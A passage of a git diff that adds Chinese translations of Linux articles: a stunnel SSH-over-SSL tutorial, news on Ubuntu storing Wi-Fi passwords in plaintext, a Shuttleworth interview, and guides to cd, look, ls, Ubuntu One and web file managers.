7 Ubuntu 13.10.md @@ -0,0 +1,251 @@ +在Debian 7/Ubuntu 13.10 上使用隧道封装SSH连接 +================================================================================ + +**隧道** 被设计用于远端客户端和本地(可通过inetd启动)或远端服务器间的SSL加密封装。它可以用于为inetd进程增加SSL功能,像POP2(译注:厄,POP2这个服务还有人用么?),POP3和IMAP服务而不必改变程序代码。隧道使用OpenSSL库用于加密,因此它支持任何被编译进库的加密算法。简而言之,隧道可以使任何一个不安全的端口变得安全加密。 + +在本篇中,我会描述如何通过SSL水稻封装SSH。这个步骤非常简单。你需要在你的客户端PC和远程PC都已经安装运行了sshd。 + +我正在使用下面提到的两个系统。 + +远程系统: + + 操作系统: Debian 7 + IP 地址: 192.168.1.200/24 + +客户端(本地) 系统: + + 操作系统: Ubuntu 13.04 desktop + IP 地址: 192.168.1.100/24 + +#### 配置远程系统 #### + +让我们在远程Debian 7服务器上安装stunnel包。 + + # apt-get install stunnel4 + +现在让我们像下面那样创建一个SSL证书。 + + # openssl genrsa 1024 > stunnel.key + +示例输出: + + Generating RSA private key, 1024 bit long modulus + ............................................++++++ + ...................++++++ + e is 65537 (0x10001) + + # openssl req -new -key stunnel.key -x509 -days 1000 -out stunnel.crt + +你会被询问若干个问题如国家、州、公司细节等。 + + You are about to be asked to enter information that will be incorporated + into your certificate request. + What you are about to enter is what is called a Distinguished Name or a DN. + There are quite a few fields but you can leave some blank + For some fields there will be a default value, + If you enter '.', the field will be left blank. + ----- + Country Name (2 letter code) [AU]:IN + State or Province Name (full name) [Some-State]:Tamilnadu + Locality Name (eg, city) []:Erode + Organization Name (eg, company) [Internet Widgits Pty Ltd]:unixmen + Organizational Unit Name (eg, section) []:Technical + Common Name (e.g. server FQDN or YOUR name) []:server.unixmen.com + Email Address []:sk@unixmen.com + + # cat stunnel.crt stunnel.key > stunnel.pem + # mv stunnel.pem /etc/stunnel/ + +现在我们需要配置stunnel来将 **443(https)**隧道到**22(ssh)**。这可以通过在**/etc/stunnel/**目录下创建**stunnel.conf**文件来实现: + + # vi /etc/stunnel/stunnel.conf + +并加入下面的行: + + pid = /var/run/stunnel.pid + cert = /etc/stunnel/stunnel.pem + [ssh] + accept = 192.168.1.200:443 + connect = 127.0.0.1:22 + +上面的几行说明了stunnel在哪里寻找证书文件和哪里接收和转发ssh链接。在本例中,stunnel会接收来自443端口的流量并会转发给22端口。 + +保存并关闭文件。 + +现在让我们启用stunnel服务。要这么做,编辑文件 **/etc/default/stunnel4**: + + # vi /etc/default/stunnel4 + +改变行从 **ENABLED = 0** 到 **1**。 + + # /etc/default/stunnel + # Julien LEMOINE + # September 2003 + + # Change to one to enable stunnel automatic startup + ENABLED=1 + FILES="/etc/stunnel/*.conf" + OPTIONS="" + + # Change to one to enable ppp restart scripts + PPP_RESTART=0 + +接着使用命令启用stunnel服务: + + # service stunnel4 start + +#### 配置本地系统 #### + +用这个命令安装stunnel: + + $ sudo apt-get install stunnel4 + +我们需要远程系统上相同的证书文件(stunnel.pem)。复制远程系统上的 **stunnel.pem**文件到我们本地系统中并在相同的位置保存(也就是 /etc/stunnel)。 + +在 **/etc/stunnel/**目录下创建新的文件**stunnel.conf**: + + $ sudo vi /etc/stunnel/stunnel.conf + +加入下面的行: + + pid = /var/run/stunnel.pid + cert = /etc/stunnel/stunnel.pem + client=yes + [ssh] + accept=443 + connect=192.168.1.200:443 + +保存并关闭文件。这里的192.168.1.200是我们的远程系统IP。 + +现在让我们启用stunnel服务。要这么做,编辑文件**/etc/default/stunnel4**: + + $ sudo vi /etc/default/stunnel4 + +改变行从 **ENABLED = 0** 到 **1**. + + # /etc/default/stunnel + # Julien LEMOINE + # September 2003 + + # Change to one to enable stunnel automatic startup + ENABLED=1 + FILES="/etc/stunnel/*.conf" + OPTIONS="" + + # Change to one to enable ppp restart scripts + PPP_RESTART=0 + +接着使用命令启用stunnel服务: + + $ sudo service stunnel4 start + +#### 测试SSH连接 #### + +现在这样已经很好了,你可以使用命令连接到你的远程机器上了: + + $ ssh sk@localhost -v -p 443 + +示例输出: + + OpenSSH_6.1p1 Debian-4, OpenSSL 1.0.1c 10 May 2012 + debug1: Reading configuration data /etc/ssh/ssh_config + debug1: /etc/ssh/ssh_config line 19: Applying options for * + debug1: Connecting to localhost [127.0.0.1] port 443. + debug1: Connection established. + debug1: identity file /home/sk/.ssh/id_rsa type -1 + debug1: identity file /home/sk/.ssh/id_rsa-cert type -1 + debug1: identity file /home/sk/.ssh/id_dsa type -1 + debug1: identity file /home/sk/.ssh/id_dsa-cert type -1 + debug1: identity file /home/sk/.ssh/id_ecdsa type -1 + debug1: identity file /home/sk/.ssh/id_ecdsa-cert type -1 + debug1: Remote protocol version 2.0, remote software version OpenSSH_6.0p1 Debian-4 + debug1: match: OpenSSH_6.0p1 Debian-4 pat OpenSSH* + debug1: Enabling compatibility mode for protocol 2.0 + debug1: Local version string SSH-2.0-OpenSSH_6.1p1 Debian-4 + debug1: SSH2_MSG_KEXINIT sent + debug1: SSH2_MSG_KEXINIT received + debug1: kex: server->client aes128-ctr hmac-md5 none + debug1: kex: client->server aes128-ctr hmac-md5 none + debug1: sending SSH2_MSG_KEX_ECDH_INIT + debug1: expecting SSH2_MSG_KEX_ECDH_REPLY + debug1: Server host key: ECDSA 78:05:ba:1b:73:02:75:86:10:33:8c:0f:21:61:d4:de + debug1: Host '[localhost]:443' is known and matches the ECDSA host key. + debug1: Found key in /home/sk/.ssh/known_hosts:12 + debug1: ssh_ecdsa_verify: signature correct + debug1: SSH2_MSG_NEWKEYS sent + debug1: expecting SSH2_MSG_NEWKEYS + debug1: SSH2_MSG_NEWKEYS received + debug1: Roaming not allowed by server + debug1: SSH2_MSG_SERVICE_REQUEST sent + debug1: SSH2_MSG_SERVICE_ACCEPT received + debug1: Authentications that can continue: publickey,password + debug1: Next authentication method: publickey + debug1: Trying private key: /home/sk/.ssh/id_rsa + debug1: Trying private key: /home/sk/.ssh/id_dsa + debug1: Trying private key: /home/sk/.ssh/id_ecdsa + debug1: Next authentication method: password + sk@localhost's password: # ## Enter your remote system user password + debug1: Authentication succeeded (password). + Authenticated to localhost ([127.0.0.1]:443). + debug1: channel 0: new [client-session] + debug1: Requesting no-more-sessions@openssh.com + debug1: Entering interactive session. + debug1: Sending environment. + debug1: Sending env LC_PAPER = en_IN.UTF-8 + debug1: Sending env LC_ADDRESS = en_IN.UTF-8 + debug1: Sending env LC_MONETARY = en_IN.UTF-8 + debug1: Sending env LC_NUMERIC = en_IN.UTF-8 + debug1: Sending env LC_TELEPHONE = en_IN.UTF-8 + debug1: Sending env LC_IDENTIFICATION = en_IN.UTF-8 + debug1: Sending env LANG = en_US.UTF-8 + debug1: Sending env LC_MEASUREMENT = en_IN.UTF-8 + debug1: Sending env LC_TIME = en_IN.UTF-8 + debug1: Sending env LC_NAME = en_IN.UTF-8 + Linux server 3.2.0-4-486 #1 Debian 3.2.51-1 i686 + + The programs included with the Debian GNU/Linux system are free software; + the exact distribution terms for each program are described in the + individual files in /usr/share/doc/*/copyright. + + Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent + permitted by applicable law. + You have new mail. + Last login: Mon Dec 30 15:12:22 2013 from localhost + sk@server:~$ + +或者你可以简单地使用下面的命令: + + $ ssh -p 443 sk@localhost + +示例输出: + + sk@localhost's password: + Linux server 3.2.0-4-486 #1 Debian 3.2.51-1 i686 + + The programs included with the Debian GNU/Linux system are free software; + the exact distribution terms for each program are described in the + individual files in /usr/share/doc/*/copyright. + + Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent + permitted by applicable law. + You have new mail. + Last login: Mon Dec 30 15:22:08 2013 from localhost + sk@server:~$ + +现在你可以用ssh连接到你的远程机器上了,但是所有的流量通过SSL隧道。 + +你已经完成了!即使ssh的默认端口被防火墙阻止了,你仍然可以使用SSH到你的远程系统。 + +参考链接: + +- **[stunnel 主页][1]** + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/tunnel-ssh-connections-ssl-using-stunnel-debian-7-ubuntu-13-10/ + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://www.stunnel.org/index.html \ No newline at end of file diff --git a/published/201401/Ubuntu Stores Your Wi-Fi Passwords By Default!.md b/published/201401/Ubuntu Stores Your Wi-Fi Passwords By Default!.md new file mode 100644 index 0000000000..34bfb51096 --- /dev/null +++ b/published/201401/Ubuntu Stores Your Wi-Fi Passwords By Default!.md @@ -0,0 +1,18 @@ +Ubuntu默认在主目录外面明文存储你的Wi-Fi密码! +================================================================================ + +Ubuntu可能不像你想象的那么安全.据报道,Linux驱动的发行版在主目录外存储Wi-Fi配置文件,这使得它们更易于被访问。这包括Wi-Fi配置文件的密码。报道说,一个用户指出,Wi-Fi密码在Ubuntu上是不加密的,因为它们都存储在主目录之外。此文件夹虽然可以在操作系统的安装过程中进行加密。 + +"最近,我偶然发现了一个事实,NetworkManager默认存储WiFi配置文件*包括明文密码*到/etc/NetworkManager/system-connections/。我认为当他/她开启了主目录加密时,肯定不希望存储密码到主目录之外,应该以某种方式纠正。" - Softpedia引用邮件列表中Per Guth的话。 + +这个问题显然是为了让“所有用户都可以连接到这个网络”,即默认情况下启用该选项的结果。为了关掉此功能,用户必须打开Network Indicator,然后去Edit Connection。然后选择在Edit上的Select Network and clock。在General选项卡,取消勾选,以将其关闭。 + +取消选中该选项据说会移动这个密码进入到所需的文件夹(主目录),但Softpedia报告推测,大多数用户不会注意到这个问题。Canonical是否会进行任何更改,还有待观察。 + +-------------------------------------------------------------------------------- + +via: http://www.efytimes.com/e1/fullnews.asp?edid=125483 + +译者:[Akagi201](https://github.com/Akagi201) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/published/201401/Ubuntu Will Reach True Convergence Before Microsoft, Says Shuttleworth.md b/published/201401/Ubuntu Will Reach True Convergence Before Microsoft, Says Shuttleworth.md new file mode 100644 index 0000000000..07db2cab09 --- /dev/null +++ b/published/201401/Ubuntu Will Reach True Convergence Before Microsoft, Says Shuttleworth.md @@ -0,0 +1,42 @@ +Shuttleworth表示Ubuntu将在微软之前达到真正的全平台融合 +================================================================================ +**Ubuntu的创始人表示,六个月一次的Ubuntu发布传统可能会成为过去。** + +> ‘也许我们会减轻这6个月的事而把它们分布到各个时间段里’ + +与[PCPro][1]说到Canonical的融合计划 —— 我们将会看到一个供手机、平板和台式机等全平台使用的Ubuntu 15.04 —— Mark Shuttleworth解释说移动终端用户已经习惯于在任何时候接受升级,这部分原因可能会带来 *“也许我们会减轻这6个月的事而把它们分布到各个时间段里”* + +这已经不是第一次提出关于更改Ubuntu更新周期的问题了。今年早些时候的讨论都涉及到[移动发行版的滚动发布][2],Ubuntu 13.04的发布带给用户[更新方式的改变][3]。 + +### 手机平台覆盖的优势 ### + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/12/mark-tile-300x171.jpg) + +这并不是这次简单采访中提到的唯一的点,Shuttleworth还表示,他相信**Ubuntu将领先于微软实现真正的移动/桌面融合。**那个总部在雷蒙德的公司曾说过[在Windows Phone和Windows8平台上的统一][4]和[因Windows RT的不良反馈而解散][5]。 + +Shuttleworth指出当涉及到招揽应用开发商时,Ubuntu的Linux基础,可以给Ubuntu带来巨大优势。 + +*“Android的原生应用及web应用相比Windows平台而言更接近于在Ubuntu上的程序。许多Android开发人员使用Ubuntu,并在ubuntu上开发他们的软件,所以Ubuntu更容易成为开发人员的目标平台。”* + +> ‘没有公布硬件合作伙伴’ + +当被问及是否有**硬件合作伙伴愿意生产的Ubuntu手机和平板电脑**,Mark有几分躲闪,他说,虽然目前“没有宣布合作伙伴”,但目前已经有几个“家用品牌”的“前沿设备”将Ubuntu作为内部测试操作系统。 + +他表示,这个独立的测试是一种“强烈利益信号”,带给产品更“舒适”的体验。 + +此前,在十二月份的巴黎Le Web会议上Mark告诉记者,与硬件合作伙伴达成协议[2014年将发布一款高端手机][6]。该公司生产的手机的名称尚未透露(译注:现在我们已经知道了~)。 + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2013/12/ubuntu-touch-plans-2014 + +译者:[乌龙茶](https://github.com/yechunxiao19) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.pcpro.co.uk/news/interviews/386080/mark-shuttleworth-interview-taking-ubuntu-beyond-desktops +[2]:http://www.omgubuntu.co.uk/2013/02/ubuntu-to-discuss-rolling-release-move-at-next-weeks-uds +[3]:http://www.omgubuntu.co.uk/2013/08/phased-updates-to-start-rolling-out-for-ubuntu-13-04 +[4]:http://blogs.wsj.com/cio/2013/10/24/microsoft-moves-closer-to-mobile-desktop-convergence/ +[5]:http://www.theguardian.com/technology/2013/nov/26/microsoft-kill-windows-rt-larson-green +[6]:http://www.omgubuntu.co.uk/2013/12/ubuntu-touch-signs-first-hardware-partner-will-debut-high-end-phone-2014 diff --git a/published/201401/Understanding Linux cd Command with Examples.md b/published/201401/Understanding Linux cd Command with Examples.md new file mode 100644 index 0000000000..ddabb43088 --- /dev/null +++ b/published/201401/Understanding Linux cd Command with Examples.md @@ -0,0 +1,107 @@ +实例学习 Linux 的 cd 命令,及对内部命令的解释 +================================================================================ + +在 *nix 的世界里,cd 命令是最为基础的命令,它所做的是改变当前的工作目录。 本文将深入讲解关于 cd 的技术细节。 + +### cd 命令:一个内部命令 + +绝大多数的 Linux 发行版都将 Bash Shell 用作默认的 Shell。Bash 有一些自己内部的命令,cd 就是其中一个。我将会解释究竟什么是内部命令,以及为什么 cd 会是一个内部命令。 + +那么首先,请检查确认你的当前 shell 以及环境变量: + +![](http://linoxide.com/wp-content/uploads/2013/12/01.cd_shell.png) + +现在继续使用 which 命令来检查 cd 所在的路径: + +![](http://linoxide.com/wp-content/uploads/2013/12/02.cd_which.png) + +我们发现没有输出。因为在我们的系统中 cd 命令其实并没有对应某个 binary,但是我们却又仍然可以执行这个命令,这就是因为 cd 其实是 BASH 的一个内部命令。内部命令都是被整合进入 shell 里面的。接下来我们可以继续使用 type 命令来查看 cd 这个内部命令的更多信息。 + +![](http://linoxide.com/wp-content/uploads/2013/12/03.cd_type.png) + +如果你尝试去查看内部命令的手册,会发现并没有为它们单独设置手册。 + +![](http://linoxide.com/wp-content/uploads/2013/12/04.cd_man.png) + +对于这些内部命令来说,并没有创建单独的进程,因此它们执行起来非常快。 + +我们可以使用 help 命令来查看所有的内部命令(help 命令本身也是一个内部命令): + +![](http://linoxide.com/wp-content/uploads/2013/12/05.cd_help_1.png) + +![](http://linoxide.com/wp-content/uploads/2013/12/06.cd_help_2.png) + +### 为什么 cd 会是一个内部命令 + +让我们从简单的开始聊起吧。我不会说太多繁琐细节,但是想要弄明白这个问题,还是需要对 Unix 进程有一点了解。 + +不管 BASH 什么时候创建了一个进程,这个进程事实上都是在 BASH 的一个子 shell 中运行(也就是当前 BASH 进程的子进程)。这些新的进程会做一些改变,或是显示一些东西(如果需要的话),以及当这个进程死亡的时候,子 shell 并不会向当前 BASH 返回信息。请注意,cd 所做的是改变 shell 的 PWD。 因此倘若 cd 是一个外部命令,那么它改变的将会是子 shell 的 PWD,也不会向父 shell 返回任何东西。所以,当前 shell 的 PWD 就不会做任何改变。**所有能对当前 shell的环境作出改变的命令都必须是内部命令。** 因此如果我们将 cd 做成外部命令,就无法像原来一样改变当前目录了。 + +好了,现在让我们再来聊聊 cd 命令的用法。 + +### cd 命令的用法: + +如果你不加任何参数地来使用 cd 命令,不管你现在在哪,都会把你带到**你的** home 目录下。 + +![](http://linoxide.com/wp-content/uploads/2013/12/07.cd_home.png) + +其实波浪线符号(~)代表的也是 home 目录,我们同样可以用它回到 home(译注:通常用~配合其下的子目录名,来切换到自己home下的子目录,如:cd ~/Desktop)。 + +![](http://linoxide.com/wp-content/uploads/2013/12/08.cd_home_tilde.png) + +如果你是 root 用户,你可以通过使用波浪号加任何一个用户名来切换到该用户的 home 目录下。在一些 Linux 发行版中,没有特权的用户默认是没有权限访问其他用户的 home 目录的。 + +![](http://linoxide.com/wp-content/uploads/2013/12/09.cd_home_user.png) + +再来看,. 目录代表的是当前目录,而 .. 代表的是上级目录。所以我们可以使用 .. 来回到上级目录。 + +![](http://linoxide.com/wp-content/uploads/2013/12/10.cd_parent.png) + +大部分情况下,cd . 是不会改变你的 PWD。举例来看: + +![](http://linoxide.com/wp-content/uploads/2013/12/11.cd_dot.png) + +但是如果你的当前目录已经被重命名了,那么你的 PWD 就会发生改变: + +![](http://linoxide.com/wp-content/uploads/2013/12/12.cd_dot_renamed.png) + +在 BASH 和大部分其他的 shell 中,你可以提供两种不同的路径:绝对路径和相对路径。绝对路径以 / 开始,并且和你的 PWD 无关。而相对路径不会以 / 开始,并且和你的 PWD 相关。 + +使用绝对路径来改变 PWD: + +![](http://linoxide.com/wp-content/uploads/2013/12/13.cd_abs_path.png) + +使用相对路径来改变 PWD: + +![](http://linoxide.com/wp-content/uploads/2013/12/14cd_rel_path.png) + +我们可以在两个目录切换: + +cd - 命令可以返回上一次的工作目录,我们可以使用它在两个不同的目录中快速切换。 + +![](http://linoxide.com/wp-content/uploads/2013/12/15.cd_toggle.png) + +我们上一次的工作目录会被储存在 OLDPWD 这个变量中。但是如果你在一个新开启的终端中来使用的话,会报出下面的错误: + +![](http://linoxide.com/wp-content/uploads/2013/12/16.cd_OLDPWD_not_set.png) + +![](http://linoxide.com/wp-content/uploads/2013/12/16.cd_OLDPWD_not_set.png) + +你可以配合 cd 命令来使用一些 bash 小技巧。 + +比如,不妨使用 *?* 这个万能药: + +![](http://linoxide.com/wp-content/uploads/2013/12/17.cd_question_mark_wild_card.png) + +使用 *: + +![](http://linoxide.com/wp-content/uploads/2013/12/18.cd_star_wild_card.png) + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/linux-cd-command-examples/ + +译者:[ailurus1991](https://github.com/ailurus1991) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + diff --git a/published/201401/look--Linux Command To Verify Spellings And Display Lines Beginning With A String.md b/published/201401/look--Linux Command To Verify Spellings And Display Lines Beginning With A String.md new file mode 100644 index 0000000000..21af183be7 --- /dev/null +++ b/published/201401/look--Linux Command To Verify Spellings And Display Lines Beginning With A String.md @@ -0,0 +1,80 @@ +look: Linux 下验证拼写并显示以某字符串开头的行的命令 +================================================================================ +你有没有感到需要一款Linux下的命令行工具,它可以验证你的拼写?一款可以显示包含特定前缀字符串的行?好的,本篇中,我们会讨论Linux下的 **look**命令,它满足了上面的这些要求。 + +### Linux下的look命令 ### + +下面是来自look命令man页面描述的截图: + +![](http://mylinuxbook.com/wp-content/uploads/2013/12/look-main.png) + +### 测试环境 ### + +- **OS** – Ubuntu 13.04 +- **Shell** – Bash 4.2.45 +- **Application** – look 2.20.1-5.1ubuntu8 + +#### 简要教程 #### + +现在让我们通过一些特定例子来讨论这个命令。 + +假设你要验证单词'rendezvous'的拼写。你可以轻松地用look命令做到。 + +这是个例子 : + + $ look rendez + rendezvous + rendezvous's + rendezvoused + rendezvouses + rendezvousing + +如你所见,我只传入了单词的前面几个字符作为命令行参数,命令产生了所有的相关单词。这些单词通过look命令从文件 **/usr/share/dict/words**取回。 + +另外一种情况是需要打印所有包含特定字符串的行。比如,如果我想要显示c文件中所有的头文件,那么我就用下面的方法: + + $ look "#include" efence_test.c + #include + #include + +如你所见,它生成了所有的在文件efence_test.c中以"#include"开始的行,因此我知道了原文件中包含的头文件。 + +默认上,所有look命令的匹配都是大小写敏感的。你可以使用非大小写敏感匹配的选项**-f**。 + +下面是一些look命令提供了其他一些命令行选项: + +![](http://mylinuxbook.com/wp-content/uploads/2013/12/look-options.png) + +想要获取这个命令的更多信息,阅读这个 [man 页][1]. + +#### 下载/安装/配置 #### + +下面是关于look命令的一些链接: + +- 主页 [*如果你知道这个工具的主页的话让我知道一下*] +- 下载链接 + +look命令成了**util-linux**包的一部分,它在大多数Linux发行版中已经预安装了。 + +#### 优点 #### + +- 非常容易地在命令行验证拼写。 +- 在大多数Linux发行版中已经预安装。 + +#### 缺点 #### + +- 依赖于/usr/share/dict/words 来做拼写验证。 + +#### 总结 #### + +一款出色的用来验证拼写的命令行工具。节省了大量时间如果你想要显示以特定字符串为开头的行的话。试一下,你一定会喜欢上它的。 + +-------------------------------------------------------------------------------- + +via: http://mylinuxbook.com/look-verify-spellings-and-display-lines/ + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://linux.about.com/library/cmd/blcmdl1_look.htm \ No newline at end of file diff --git a/published/201402/10 Lesser Known Ubuntu One Features.md b/published/201402/10 Lesser Known Ubuntu One Features.md new file mode 100644 index 0000000000..a6b56ba9f7 --- /dev/null +++ b/published/201402/10 Lesser Known Ubuntu One Features.md @@ -0,0 +1,36 @@ +Ubuntu One 的10个鲜为人知的功能 +================================================================================ + +尽管 Ubuntu One 看上去像一个仅支持 Ubuntu 文件同步服务,但实际上它可以在 Windows,Android,iOS 和网页上使用。而且,Ubuntu One 提供了5GB的免费存储空间。 + +![](http://www.efytimes.com/admin/useradmin/photo/Kj3S10756PM1212014.jpg) + +根据 howtogeek.com 的介绍,用户通过 Ubuntu One 可以在线共享文件或目录,推送音乐到手机,在所有的设备上同步已安装的应用等等。下面我们一起来看一下10个Ubuntu One你也许不知道的功能。 + +1.**同步目录** - 在默认设置下,Ubuntu 系统仅仅会同步用户主目录下的 Ubuntu One 目录。但是你可以用鼠标右击任意文件夹,然后点击 Ubuntu One 菜单,选择 Synchronize This Folder 开始同步,这样就可以将这个目录加入到 Ubuntu One 中了。在 Ubuntu One 中,你可以管理所有的已同步目录。 + +2.**限制带宽** - 在默认设置下,Ubuntu One 会使用系统全部的网络带宽来上传或下载文件。但是,如果你接入网络速度比较慢,它也允许设定上传和下载速度。你可以在 Ubuntu One 主窗口的设置界面里找到带宽设置。 + +3.**在Windows上使用Ubuntu One** - Ubuntu One 不是仅仅在 Linux 上运行,它也有一个 Windows 的客户端,提供完整的文件同步支持。Ubuntu One 是一个跨平台的文件同步服务,即使是完全没有接触过 Ubuntu 的 Windows 用户,也可以使用 Ubuntu One 提供的服务。 + +4.**共享文件** - 在文件管理器的鼠标右键菜单或者 Ubuntu One 网站,你可以将文件或者目录共享到因特网上,也可以选择分享给指定的 Ubuntu One 用户。 + +5.**同步已安装应用** - Ubuntu One 可以在你所有的计算机上同步你从Ubuntu的软件中心安装的应用,这样你就可以轻松管理已安装的应用。 + +6.**手机应用** - Ubuntu One 为 Android,iPhone,iPad和Ipod Touch 提供了应用。通过这些应用,你可以在移动设备上轻松访问 Ubuntu One 的文件。 + +7.**自动上传智能手机中的相片** - 移动应用还支持自动上传手机中的相片到 Ubuntu One 云服务器中,这样你可以轻松地在所有的设备上浏览你的相片。 + +8.**在线音乐播放** - Ubuntu One 还提供了 Ubuntu One 音乐应用,支持 Android和iOS。你可以通过智能手机在任意地方欣赏你的音乐,也可以选择缓存到本地离线播放。 + +9.**同步联系人** - Ubuntu One可以同步你的联系人并在线保存。目前,你可以在 Ubuntu One 网页上导入 Facebook 联系人,或者手动添加。早期版本的 Ubuntu 还支持同步 Evolution 邮件客户端的联系人,但在新的12.04版本中不支持从 Thunderbird 邮件客户端同步联系人。 + +10.**在浏览器中管理你的文件** - 在电脑上安装了 Ubuntu One 后,可以在 Ubuntu One 网页上管理本地文件。你可以在浏览器中下载文件,上传文件,或者管理现有的文件。 + +-------------------------------------------------------------------------------- + +via: http://www.efytimes.com/e1/fullnews.asp?edid=127466 + +译者:[zpl1025](https://github.com/zpl1025) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201402/10 Useful Open Source Web Based File Managers.md b/published/201402/10 Useful Open Source Web Based File Managers.md new file mode 100644 index 0000000000..8c0feb055f --- /dev/null +++ b/published/201402/10 Useful Open Source Web Based File Managers.md @@ -0,0 +1,34 @@ +10个开源的基于WEB的文件管理器 +================================================================================ + +目前,随着因特网的广泛普及,对文件管理的需求变得更多。对很多人来说,用一个应用程序来有效管理你在网络上的文件是必不可少的。因此,下面列出你会用到的10个最好的开源的基于WEB的文件管理器。 + +![](http://www.efytimes.com/admin/useradmin/photo/xBds51300PM1102014.jpg) + +1. **eXtplorer**: 这个程序为你提供了移动、复制、编辑、搜索、删除、下载和上传功能。此外,你也能用 eXtplorer 创建和提取档案,文件夹和新文件。它的主要功能是让你通过 FTP 访问文件。你可以选择 Mozilla 公共许可或者 GPL 协议。为了正常使用这个文件管理器,服务器的PHP最低版本要求为 PHP 4.3 并且必须更新JavaScript。 + +2. **AjaXplorer**: 绝大多数浏览器都支持这个文件管理器,并且它能很轻易地自动适应类似于手机一样的小屏幕浏览。目前iOS版的程序已经被开发出来了,安卓版的也将很快完成。要运行 AjaXplorer:,你所需要的是一个支持 PHP5.1 或者更高版本的WEB服务器来。它允许你直接从服务器流式传输视频内容。 + +3. **KFM**: 这个免费和开源文件管理器可以作为 FCKedition、CKeditor、Tiny MCE 之类的富文本编辑器的插件。如果您正在使用一个基于 Linux 的操作系统,那么你需要 PHP 5.2 或更高版本,而 Mac OS X 和 Windows 分别需要 MySQL 4.1 或更高版本和 MySQL 5.0 或更高版本。它有一个自己的搜索引擎,附带了一个文本编辑器,可以高亮显示语法。它还带有 mp3 播放和视频播放选项。 + +4. **PAFM**: 这个文件管理器可以让用户完全控制文件,还允许使用 CodePress 来编辑源代码。文件管理器的主要特色来自 CodePress,它提供了即时的语法高亮显示。 + +5. **QuiXplorer**: 这个文件管理器可用于在互联网和局域网管理和共享文件。它还提供了一种多用户模式,每个用户可以定制自己的设置。 + +6. **BytesFall** Explorer: 这个使用 PHP 和 JavaScript 编写的管理器在 GPL 下发布。它的 UI 非常类似于 Windows 资源管理器,但是它被用在 GeSHi、LiveTree、Shell 命令、FCKeditor 等项目。因为它有一组不同的功能。 + +7. **NavPHP**: 这个文件管理器是使用PHP和AJAX编写的,并且提供了WindowsXP风格的导航。和 QuiXplorer 一样,这个管理器也有一个多用户模式,并有自己的代码编辑器。此外,它还可以使用Deflate和Gzip来压缩传输网页。你也可以使用这个功能来以zip格式下载文件或文件夹。 + +8. **iDC File Manager**: 这是一个多用户系统,可以安装在基于 Linux 或 Windows 的网页服务器上。它提供了热键功能并支持社交网络,还可以监视用户活动。它的数据库是 MySQL。 + +9. **FileMan**: 这个文件管理器带有一个所见即所得编辑器,可以编辑和创建 HTML 文件。除了 HTML 编辑器,它还具有其他很多有用的功能。 + +10. **Relay**: 这个文件管理器使用 GPL 协议发布,并支持 AJAX。如果你使用大量的目录和文件,那么这个管理器对你来说非常理想。 + +-------------------------------------------------------------------------------- + +via: http://www.efytimes.com/e1/fullnews.asp?edid=126569 + +译者:[kingname](https://github.com/kingname) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201402/20 Linux ls Command Examples to Display the Entries of Directory.md b/published/201402/20 Linux ls Command Examples to Display the Entries of Directory.md new file mode 100644 index 0000000000..7be448d067 --- /dev/null +++ b/published/201402/20 Linux ls Command Examples to Display the Entries of Directory.md @@ -0,0 +1,234 @@ +ls命令的20个实用范例 +================================================================================ +Linux中一个基本命令是ls。没有这个命令,我们会在浏览目录条目时会遇到困难。这个命令必须被每个学习Linux的人知道。 + +### ls是什么 ### + +ls命令用于列出文件和目录。默认上,他会列出当前目录的内容。带上参数后,我们可以用ls做更多的事情。这里是一些在日常操作中使用到的ls用法的示例。 + +#### 1. 不带参数运行ls #### + +不带参数运行ls会只列出文件或者目录。看不到其他信息输出(译注:有时候你发现无参数的ls命令和这里描述的不同,那有可能是你的ls命令实际上带参数的ls别名)。 + + $ ls + +![](http://linoxide.com/wp-content/uploads/2014/01/ls.png) + +#### 2. 使用长清单模式 #### + +使用-l字符(小写L字符),会显示当前目录内容的长列表。在接下来的例子中,我们会结合-l参数(这个参数经常使用)来得到更好的结果。 + + $ ls -l + +![](http://linoxide.com/wp-content/uploads/2014/01/ls_l.png) + +这里是如何读取输出 : + +- **第1列** + - 第一个字母**d**意味着内容是目录或者文件。在上面的截图中,Desktop、 Documents、 Downloads 和 lynis-1.3.8是目录。如果是'-'(**减号**),这意味着它的内容是文件。当它是l(**小写l字符**),意味这内容是链接文件。 + + - 下面的9个字符是关于文件权限。**前3个rwx**字符是文件的拥有者的权限,**第二组3rwx**是文件的所有组的权限,**最后的rwx**是对其他人访问文件的权限。 + +- **第2列** +这行告诉我们有多少链接指向这个文件。 + +- **第3列** +这行告诉我们谁是这个文件/文件夹的所有者。 + +- **第4列** +这行告诉我们谁是这个文件/文件夹的所有组。 + +- **第5列** +这行告诉我们这个文件/文件夹的以字节为单位的大小。 目录的大小总是4096字节。 + +- **第6列** +这告诉我们文件最后的修改时间。 + +- **第7列** +这告诉我们文件名或者目录名。 + +#### 3. 显示文件大小 #### + +以字节为单位看大小可能会不方便。6.5M读起来比6727680字节更简单。要这么做,我们可以使用-h与**-l**结合的参数。**-h参数意味着便于人识别**。 + + $ ls -lh + 